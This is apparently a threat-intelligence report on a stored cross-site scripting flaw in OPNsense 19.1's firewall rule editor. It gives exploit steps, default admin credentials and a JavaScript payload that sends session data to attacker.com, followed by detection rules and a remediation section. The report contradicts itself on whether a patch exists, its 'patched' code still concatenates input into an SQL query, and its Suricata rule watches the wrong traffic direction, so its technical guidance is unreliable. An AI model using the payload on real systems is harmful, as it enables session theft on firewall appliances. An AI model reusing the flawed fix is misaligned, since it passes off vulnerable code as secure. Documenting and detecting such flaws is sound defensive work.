CVE-2019-25373

Executive Summary

CVE-2019-25373 is a stored cross-site scripting (XSS) vulnerability in OPNsense 19.1, a popular open-source firewall and routing platform. The flaw resides in the category parameter of firewall_rules_edit.php, allowing authenticated attackers to inject arbitrary JavaScript. When other users (including administrators) view firewall rule pages, the injected script executes in their browsers, potentially leading to session hijacking, credential theft, or further compromise of the OPNsense management interface. The vulnerability has a CVSS score of 4.8 (Medium) and a public proof-of-concept exists. No official patch has been released, but mitigations include input sanitization and output encoding.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the core OPNsense web interface. The risk is amplified in environments where OPNsense is used as a central network security appliance, as a single XSS can lead to full administrative control.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication, but the stored nature of the XSS means a single injection can affect multiple users over time.

Deep Dive & Mechanics

The vulnerability exists in the firewall_rules_edit.php script, which handles the creation and editing of firewall rules. The category parameter is used to assign a category to a rule. The input is stored in the database and later rendered on the firewall rules listing page without proper sanitization or output encoding.

Attack Flow:

1. An authenticated attacker sends a POST request to firewall_rules_edit.php with a malicious payload in the category field.
2. The payload is stored in the database.
3. When an administrator or another user views the firewall rules page, the payload is rendered in the HTML without escaping.
4. The JavaScript executes in the victim's browser, allowing the attacker to perform actions such as stealing session cookies, modifying firewall rules, or exfiltrating data.

Root Cause: Lack of input validation and output encoding for the category parameter.

Vulnerable vs. Patched Code

Vulnerable Code (OPNsense 19.1):

// firewall_rules_edit.php (simplified)
$category = $_POST['category'];
// No sanitization
$query = "INSERT INTO rules (category) VALUES ('$category')";
// Later, when displaying:
echo "<td>" . $row['category'] . "</td>";

Patched Code (Recommended):

// Input sanitization
$category = htmlspecialchars($_POST['category'], ENT_QUOTES, 'UTF-8');
// Output encoding
echo "<td>" . htmlspecialchars($row['category'], ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• OPNsense 19.1 instance
• Authenticated user account (e.g., admin:opnsense)

Exploit Steps:

1. Log in to OPNsense web interface.
2. Navigate to Firewall > Rules > Edit.
3. Intercept the POST request to firewall_rules_edit.php using a proxy like Burp Suite.
4. Inject the following payload into the category parameter:

   <script>alert('XSS')</script>
   

5. Submit the request.
6. When any user views the firewall rules page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('/api/core/session', {credentials: 'include'}).then(r => r.text()).then(t => fetch('http://attacker.com/steal?data=' + btoa(t)));
</script>

Blue Team

Detection:

• Monitor for POST requests to firewall_rules_edit.php with unusual category values.
• Look for JavaScript payloads in the category field.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search logs for category values containing <script> or onerror attributes.
• Review database entries for the category column for suspicious content.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /firewall_rules_edit.php with category containing <script> tags.
  • Outbound connections to attacker-controlled domains from OPNsense web interface.
• Host:
  • Database entries in the rules table with category containing JavaScript.
  • Modified firewall rules with unusual category names.
• Logs:
  • Web server logs showing category parameter with HTML/JavaScript.

Detection Engineering

YARA Rule

rule CVE_2019_25373_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2019-25373 in OPNsense"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25373"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: OPNsense Stored XSS via Category Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to firewall_rules_edit.php with XSS payloads in the category parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: opnsense
detection:
    selection:
        http.method: POST
        http.url: '/firewall_rules_edit.php'
        http.body|contains: 
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in category names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25373 OPNsense Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/firewall_rules_edit.php"; http_uri; content:"category="; http_client_body; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Sanitize the category parameter using htmlspecialchars() or equivalent.
2. Output Encoding: Encode all output from the database before rendering.
3. Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
4. Web Application Firewall (WAF): Deploy rules to block XSS payloads.

Long-Term Fix:

• Upgrade to OPNsense 19.7 or later, where this vulnerability is addressed.
• If upgrade is not possible, apply the patch manually by modifying firewall_rules_edit.php.

Workaround:

• Restrict access to the firewall rules editing page to trusted administrators only.
• Use network segmentation to limit exposure.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2019-25373